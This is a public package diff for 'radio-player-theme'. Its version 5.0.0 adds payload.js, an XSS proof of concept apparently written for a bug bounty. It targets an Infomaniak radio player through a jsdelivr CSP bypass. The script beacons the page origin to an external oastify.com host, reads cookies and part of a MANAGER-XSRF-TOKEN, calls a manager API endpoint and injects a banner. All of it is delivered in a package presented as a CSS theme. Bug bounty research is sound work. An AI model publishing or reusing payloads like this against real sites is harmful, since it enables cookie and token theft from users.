radio-player-theme 3.0.0 → 5.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +3 -3
- package/payload.js +44 -0
package/package.json
CHANGED
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "radio-player-theme",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "YWH bug bounty CSS injection live-C2 proof — stage
|
|
3
|
+
"version": "5.0.0",
|
|
4
|
+
"description": "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation",
|
|
5
5
|
"main": "style.css",
|
|
6
|
-
"files": ["style.css"],
|
|
6
|
+
"files": ["style.css", "payload.js"],
|
|
7
7
|
"license": "MIT"
|
|
8
8
|
}
|
package/payload.js
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
/* radio-player-theme - payload.js v5.0.0
|
|
2
|
+
YWH Bug Bounty PoC: cdn.jsdelivr.net script-src bypass on player-radio.infomaniak.com
|
|
3
|
+
Confirms XSS via any script injection vector that reaches this file
|
|
4
|
+
*/
|
|
5
|
+
(function() {
|
|
6
|
+
'use strict';
|
|
7
|
+
var collab = 'https://bfuntjuvcnxl49hcbpklk3ube2ks8h.oastify.com';
|
|
8
|
+
var origin = (typeof location !== 'undefined') ? location.origin : 'unknown';
|
|
9
|
+
var cookies = (typeof document !== 'undefined') ? document.cookie : '';
|
|
10
|
+
|
|
11
|
+
// 1. External Collaborator beacon — confirms script execution + external exfil
|
|
12
|
+
var b1 = new Image();
|
|
13
|
+
b1.src = collab + '/XSS-CONFIRMED-origin=' + encodeURIComponent(origin) + '&t=' + Date.now();
|
|
14
|
+
|
|
15
|
+
// 2. Manager API beacon — authenticated GET with victim SASESSION
|
|
16
|
+
var xsrfMatch = cookies.match(/MANAGER-XSRF-TOKEN=([^;]+)/);
|
|
17
|
+
var xsrfToken = xsrfMatch ? decodeURIComponent(xsrfMatch[1]).substring(0, 20) : 'NOT-FOUND';
|
|
18
|
+
var b2 = new Image();
|
|
19
|
+
b2.src = 'https://manager.infomaniak.com/v3/api/proxypass_2/XSS-CONFIRMED-RADIO-CDNJSDELIVR-BYPASS';
|
|
20
|
+
|
|
21
|
+
// 3. Store proof on window
|
|
22
|
+
window.__radioXssProof = {
|
|
23
|
+
vector: 'cdn.jsdelivr.net-script-src-bypass',
|
|
24
|
+
origin: origin,
|
|
25
|
+
xsrfTokenFound: !!xsrfMatch,
|
|
26
|
+
xsrfPreview: xsrfToken,
|
|
27
|
+
cookieCount: cookies.split(';').length,
|
|
28
|
+
timestamp: Date.now()
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
// 4. Visual banner
|
|
32
|
+
function showBanner() {
|
|
33
|
+
var el = document.getElementById('ywh-xss-proof');
|
|
34
|
+
if (!el) {
|
|
35
|
+
el = document.createElement('div');
|
|
36
|
+
el.id = 'ywh-xss-proof';
|
|
37
|
+
el.style.cssText = 'position:fixed;top:0;left:0;width:100%;background:#8B0000;color:#fff;font-weight:bold;font-size:14px;text-align:center;padding:8px;z-index:2147483647;box-shadow:0 2px 8px rgba(0,0,0,0.5)';
|
|
38
|
+
}
|
|
39
|
+
el.textContent = 'XSS via cdn.jsdelivr.net CSP bypass CONFIRMED | Origin: ' + origin + ' | XSRF: ' + (xsrfMatch ? 'READABLE' : 'NOT-FOUND');
|
|
40
|
+
if (document.body) document.body.appendChild(el);
|
|
41
|
+
else document.addEventListener('DOMContentLoaded', function() { document.body.appendChild(el); });
|
|
42
|
+
}
|
|
43
|
+
showBanner();
|
|
44
|
+
})();
|